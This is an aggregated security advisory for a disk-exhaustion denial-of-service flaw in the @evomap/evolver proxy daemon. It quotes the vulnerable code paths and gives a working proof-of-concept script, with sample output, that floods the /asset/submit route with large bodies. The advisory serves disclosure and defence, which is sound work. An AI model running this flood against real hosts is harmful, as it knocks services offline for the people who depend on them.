🛡️ GHSA-7xp7-m392-h92c — evolver

⚪ Unknown ✅ No Known Exploit CWE-400 OSV
N/A
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

@evomap/evolver has an unbounded request body in proxy /asset/submit that causes persistent disk-exhaustion DoS

Summary

The EvoMap proxy daemon's HTTP body parser accepts requests of any size, and the POST /asset/submit route persists the full request body — verbatim and uncapped — as a JSONL line in <dataDir>/messages.jsonl. An unauthenticated local attacker (other local user, container neighbor, or malicious npm postinstall script running on the same host) can repeatedly POST large bodies to fill the disk. On restart, the daemon synchronously reads the entire file via fs.readFileSync, making the OOM/crash persistent.

Details

1. Entry — unbounded body parser (src/proxy/server/http.js:9-21):

```js

function parseBody(req) {

return new Promise((resolve, reject) => {

const chunks = [];

req.on('data', c => chunks.push(c));

req.on('end', () => {

const raw = Buffer.concat(chunks).toString();

if (!raw) return resolve({});

try { resolve(JSON.parse(raw)); }

catch (e) { reject(new Error('Invalid JSON body')); }

});

req.on('error', reject);

});

}

```

There is no Content-Length validation and no cumulative-bytes cap on chunks.

2. Route — no schema or size validation (src/proxy/server/routes.js:75-85):

```js

'POST /asset/submit': async ({ body }) => {

if (!body.assets && !body.asset_id) {

throw Object.assign(new Error('assets or asset_id is required'), { statusCode: 400 });

}

const result = store.send({

type: 'asset_submit',

payload: body,

priority: body.priority || 'normal',

});

return { body: result };

}

```

The full body (including arbitrarily large body.assets[*].blob) is forwarded to store.send() as the message payload. POST /mailbox/send has the same shape.

3. Sink — unbounded JSONL append (src/proxy/mailbox/store.js):

```js

// line 71-73

function appendLine(filePath, obj) {

fs.appendFileSync(filePath, JSON.stringify(obj) + '\n', 'utf8');

}

// line 189-209: send() builds a message wrapping the payload and calls _appendMessage

// line 166-171: _appendMessage(msg) -> appendLine(this._messagesFile, msg)

```

Every /asset/submit or /mailbox/send request appends one JSONL line proportional in size to the request body. compact() (line 381) only re-writes existing messages; it does not drop or truncate large rows.

4. Persistence on restart (src/proxy/mailbox/store.js):

```js

// line 75-86

function readLines(filePath) {

if (!fs.existsSync(filePath)) return [];

const content = fs.readFileSync(filePath, 'utf8'); // synchronous, full-file

...

}

// line 143-164: _rebuildIndex() called from constructor reads every line

```

A multi-GB messages.jsonl will OOM the daemon on every startup, making the DoS persistent across restarts.

5. Auth model (recon.json, confirmed by inspection of src/proxy/server/http.js:38 server.listen(port, '127.0.0.1', ...)):

> "HTTP proxy has NO per-request auth (bound to 127.0.0.1 only) … No authentication on HTTP /mailbox, /asset, /task, /session, /dm routes."

Any local process can reach the daemon. Local-only access still admits multi-tenant dev hosts, sandboxes, containers sharing the host network namespace, and malicious npm dependency postinstall scripts.

6. Why not by-design. The mailbox is documented as a poll/ack message channel for short metadata. Sister code paths in the repo bound their writes (e.g. appendFailedCapsule with FAILED_CAPSULES_MAX = 200); the absence of any cap on the mailbox path is inconsistent.

PoC

Run from the repo root:

```js

// poc-asset-submit.js

const http=require('http'),fs=require('fs'),os=require('os'),path=require('path');

const {MailboxStore}=require('./src/proxy/mailbox/store');

const {ProxyHttpServer}=require('./src/proxy/server/http');

const {buildRoutes}=require('./src/proxy/server/routes');

(async()=>{

const dir=fs.mkdtempSync(path.join(os.tmpdir(),'poc-'));

const store=new MailboxStore(dir);

const handlers={assetFetch:async()=>({}),assetSearch:async()=>({}),assetValidate:async()=>({}),atpPost:async()=>({}),atpGet:async()=>({})};

const srv=new ProxyHttpServer(buildRoutes(store,handlers,null,{}),{port:39922,logger:{log:()=>{},error:()=>{},warn:()=>{}}});

await srv.start();

const send=(mb)=>new Promise((res,rej)=>{

const body='{"assets":[{"asset_id":"sha256:dead","blob":"'+'A'.repeat(mb*1024*1024)+'"}]}';

const req=http.request({hostname:'127.0.0.1',port:39922,path:'/asset/submit',method:'POST',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(body)}},r=>{r.resume();r.on('end',res);});

req.on('error',rej); req.write(body); req.end();

});

for(let i=0;i<3;i++){await send(10);console.log('messages.jsonl=',fs.statSync(path.join(dir,'messages.jsonl')).size,'bytes');}

await srv.stop(); fs.rmSync(dir,{recursive:true});

})();

```

Verified output:

```

messages.jsonl= 10486078 bytes

messages.jsonl= 20972156 bytes

messages.jsonl= 31458234 b

How this vulnerability can be exploited

This issue can be reached with local access to the system, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.

Weakness class

GHSA-7xp7-m392-h92c is classified as CWE-400: Uncontrolled Resource Consumption. A request can consume memory, CPU or storage without limit, exhausting capacity for everyone else.

Affected software

GHSA-7xp7-m392-h92c is recorded against 1 package.

  • @evomap/evolver

Timeline and source

Published on 5 May 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
github.com (Package)

Details

Severity Unknown
CVSS Score N/A
CVSS Vector CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE CWE-400
Public Exploit ✅ No
Source OSV
Published 2026-05-05
Updated 2026-08-12
Modified 2026-05-05
Fix URL N/A

Affected Packages

Software From version Fixed in
@evomap/evolver

Free Vulnerability Check

Is your site affected by GHSA-7xp7-m392-h92c?

BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against GHSA-7xp7-m392-h92c and other known CVE records.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesGitHub AdvisoryGitHub Advisory Undated